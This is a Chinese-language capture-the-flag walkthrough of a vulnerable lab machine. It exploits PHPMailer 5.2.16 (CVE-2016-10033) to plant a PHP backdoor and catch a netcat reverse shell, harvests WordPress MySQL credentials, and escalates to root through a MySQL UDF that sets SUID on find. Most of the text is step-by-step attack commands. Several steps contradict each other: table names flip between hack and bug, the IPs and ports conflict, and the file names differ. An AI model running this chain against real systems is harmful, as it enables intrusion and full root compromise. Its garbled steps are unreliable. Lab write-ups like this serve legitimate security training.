一.信息收集
老方法netdiscover发现主机
nmap进行扫描端口
发现开放22,80,111,52263四个端口
发现vendor路径
打开PATH文件
获得第一个key:
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
发现用了PHPMailer
在version文件发现版本为5.2.16
二.漏洞利用
谷歌搜索:PHPMailer 5.2.16 exp
发现CVE-2016-10033
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali
需要对40974.py进行修改:
41行:改下地址:http://192.168.100.143/contact.php
42行:后门名称:/hack.php
44行:改下回弹的IP和端口 192.168.100.143 4444
47行:改下写入shell的目录:/var/www/html/hack.php
执行exp
python3 40974.py
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
访问http://192.168.100.143/contact.php,此时就会生成后门文件hack.php
本地开启监听:nc -nlvp 4444
访问:http://192.168.100.143/hack.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'
find / -name flag*
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
发现两个flag!读取:
cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
访问http://10.211.55.10/wordpress/wp-content/uploads/2018/11/flag3.png
获得flag3
在flag3目录下发现了wordpress目录,然后进行枚举
grep "password" -rn wp-config.php
显示28行有mysql密码
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
ps aux | grep root ---查看mysql进程信息
ps aux | grep mysql
dpkg -l | grep mysql --查看历史安装包版本
5.5.6
mysql是root权限运行的,那么接下来就找mysql提权的方法
三.提权
mysql中UDF提权、MOF提权是非常经典的提权方法,我们这里使用UDF提权
我们这里使用searchsploit mysql UDF命令使用1518.c
我们将他考出来
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
将.c文件编译为.so文件
gcc -g -c 1518.c
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
在kali上相应目录起一个pythonhttp服务
python3 -m http.server 8000
在目标服务器上中tmp目录下进行wget http://192.168.100.130:8080/hack.so
再次链接mysql数据库
mysql -uroot -pR@v3nSecurity
show databases;--查看mysql数据库中的库
use mysql --进入mysql库
select database(); --查看当前使用的数据库
创建一个叫hack的数据表:
create table hack(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。
插入数据文件:
insert into hack values(load_file('/tmp/hack.so'));
这条命令将指定路径(/tmp/hack.so)下的文件内容以二进制形式插入到"hack"表的"line"列中。
这里假设该文件是一个共享库文件。
hack表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from hack into dumpfile '/usr/lib/mysql/plugin/hack.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'hack.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。
执行find命令
使用find执行 shell
touch hack
find hack -exec "/bin/sh" \;或者find hack -exec "id" \;
cd /root
cat flag4.txt
得到flag4{df2bc5e951d91581467bb9a2a8ff4425}
四.学习总结
1.linux命令提升
(1)grep命令
grep命令来自英文词组global search regular expression and print out the line的缩写,意思是用于全面搜索的正则表达式,并将结果输出。人们通常会将grep命令与正则表达式搭配使用,参数作为搜索过程中的补充或对输出结果的筛选,命令模式十分灵活。
语法格式: grep 参数 文件名
常用参数:
参考链接:
https://www.linuxcool.com/grep
(2)dpkg命令
dpkg命令来自英文词组Debian package的缩写,其功能是管理软件安装包,是在Debian系统中最常用的软件安装、管理、卸载的实用工具。
语法格式:dpkg 参数 软件包
常用参数:
参考链接:
https://www.linuxcool.com/dpkg
2.UDF提权手工大体步骤请参考提权,具体步骤总结
mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
create table hack(line blob);
这条命令创建了一个名为"hack"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。
insert into hack values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/hack.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。
select * from bug into dumpfile '/usr/lib/mysql/plugin/hack.so';
这条命令从"hack"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/hack.so)
这里的目的是将"hack"表中的内容导出为一个共享库文件。
create function do_system returns integer soname 'hack.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(hack.so)进行加载。
select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。
参考链接: